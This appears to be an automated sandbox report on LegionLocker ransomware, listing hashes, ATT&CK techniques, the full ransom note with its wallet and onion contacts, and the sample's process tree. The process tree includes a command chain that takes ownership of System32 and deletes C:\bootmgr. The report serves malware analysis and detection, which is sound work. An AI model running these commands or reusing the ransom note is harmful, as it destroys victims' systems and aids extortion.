78f4dd4b0e0bff6009f56a8b97332f600cec39e3c1d0e1cac6c7ee47a4bb9201

Resubmissions

26-07-2021 04:39

210726-yf4zy28y4a 10

26-07-2021 03:48

210726-xhrfp51ttx 10

Analysis

max time kernel
150s
max time network
113s
platform
windows10_x64
resource
win10v20210408
submitted
26-07-2021 04:39

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General

Target

LegionLocker4.1.exe
Size

6.1MB
MD5

04df8dd30da8b5853f48cc1ac9b695a8
SHA1

4c02262c2fea0e99277a99dcbe28a9c370b87c39
SHA256

78f4dd4b0e0bff6009f56a8b97332f600cec39e3c1d0e1cac6c7ee47a4bb9201
SHA512

3ad10c1512e316ff9d02bd5b4573298ae2f6fc8f9d56c66e2c5c4d95fe046e5b14b09e63cea9bca778560ce4b568ebdf70d66a0225b2eaf7e6cd3ba914583b7e

Score

10^/10

discovery evasion exploit persistence ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\LegionReadMe.txt

Ransom Note

Ooops! All your important files are encrypted! What happend to my computer? All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $50. How do i pay? Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom of the sheet. Contact: 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) In case of no anwser in 72 hours write us to this email: [email protected] What if i already paid? Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software, it may cause pernament data loss. Our Bitcoin address: 131fjhrB4wH8j6adZXudp1Wn23pR33tpAh

Emails

[email protected]

Wallets

131fjhrB4wH8j6adZXudp1Wn23pR33tpAh

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "empty"	LegionLocker4.1.exe

Disables Task Manager via registry modification
evasion

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\StopImport.png => C:\Users\Admin\Pictures\StopImport.png.82uqjb1k5wya30pbb1nisyr68himefklnyhfdsfdrt8sbaxd2ju0	LegionLocker4.1.exe
File renamed	C:\Users\Admin\Pictures\UnprotectResume.crw => C:\Users\Admin\Pictures\UnprotectResume.crw.82uqjb1k5wya30pbb1nisyr68himefklnyhfdsfdrt8sbaxd2ju0	LegionLocker4.1.exe
File renamed	C:\Users\Admin\Pictures\UseUnregister.crw => C:\Users\Admin\Pictures\UseUnregister.crw.82uqjb1k5wya30pbb1nisyr68himefklnyhfdsfdrt8sbaxd2ju0	LegionLocker4.1.exe

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
3992	takeown.exe
3200	icacls.exe
188	takeown.exe
2524	icacls.exe
1972	takeown.exe
3820	icacls.exe
1532	takeown.exe
412	icacls.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
188	takeown.exe
2524	icacls.exe
1972	takeown.exe
3820	icacls.exe
1532	takeown.exe
412	icacls.exe
3992	takeown.exe
3200	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wp.bmp"	LegionLocker4.1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	LegionLocker4.1.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3872	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe
992	LegionLocker4.1.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	992	LegionLocker4.1.exe
Token: SeDebugPrivilege	992	LegionLocker4.1.exe
Token: SeTakeOwnershipPrivilege	3992	takeown.exe
Token: SeTakeOwnershipPrivilege	188	takeown.exe
Token: SeTakeOwnershipPrivilege	1972	takeown.exe
Token: SeTakeOwnershipPrivilege	1532	takeown.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 3000	992	LegionLocker4.1.exe	74
PID 992 wrote to memory of 3000	992	LegionLocker4.1.exe	74
PID 3000 wrote to memory of 3992	3000	cmd.exe	76
PID 3000 wrote to memory of 3992	3000	cmd.exe	76
PID 3000 wrote to memory of 3200	3000	cmd.exe	78
PID 3000 wrote to memory of 3200	3000	cmd.exe	78
PID 3000 wrote to memory of 188	3000	cmd.exe	79
PID 3000 wrote to memory of 188	3000	cmd.exe	79
PID 3000 wrote to memory of 2524	3000	cmd.exe	80
PID 3000 wrote to memory of 2524	3000	cmd.exe	80
PID 3000 wrote to memory of 1972	3000	cmd.exe	81
PID 3000 wrote to memory of 1972	3000	cmd.exe	81
PID 3000 wrote to memory of 3820	3000	cmd.exe	82
PID 3000 wrote to memory of 3820	3000	cmd.exe	82
PID 3000 wrote to memory of 1532	3000	cmd.exe	83
PID 3000 wrote to memory of 1532	3000	cmd.exe	83
PID 3000 wrote to memory of 412	3000	cmd.exe	84
PID 3000 wrote to memory of 412	3000	cmd.exe	84
PID 3000 wrote to memory of 2772	3000	cmd.exe	85
PID 3000 wrote to memory of 2772	3000	cmd.exe	85
PID 992 wrote to memory of 3748	992	LegionLocker4.1.exe	90
PID 992 wrote to memory of 3748	992	LegionLocker4.1.exe	90
PID 3748 wrote to memory of 2376	3748	cmd.exe	92
PID 3748 wrote to memory of 2376	3748	cmd.exe	92
PID 992 wrote to memory of 3872	992	LegionLocker4.1.exe	93
PID 992 wrote to memory of 3872	992	LegionLocker4.1.exe	93

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2772	attrib.exe

C:\Users\Admin\AppData\Local\Temp\LegionLocker4.1.exe
"C:\Users\Admin\AppData\Local\Temp\LegionLocker4.1.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && Exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3992
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\drivers
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:188
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\drivers /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\LogonUI.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1972
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\LogonUI.exe /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3820
- - C:\Windows\system32\takeown.exe
    takeown /f C:\bootmgr
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1532
- - C:\Windows\system32\icacls.exe
    icacls C:\bootmgr /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:412
- - C:\Windows\system32\attrib.exe
    attrib -s -r -h C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rundll32 user32.dll,UpdatePerUserSystemParameters && Exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3748
- - C:\Windows\system32\rundll32.exe
    rundll32 user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:2376
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\LegionReadMe.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

memory/992-131-0x000000001B302000-0x000000001B304000-memory.dmp

Filesize
8KB

Download
memory/992-116-0x000000001B300000-0x000000001B302000-memory.dmp

Filesize
8KB

Download
memory/992-114-0x0000000000090000-0x0000000000091000-memory.dmp

Filesize
4KB

Download
memory/992-132-0x000000001B304000-0x000000001B306000-memory.dmp

Filesize
8KB

Download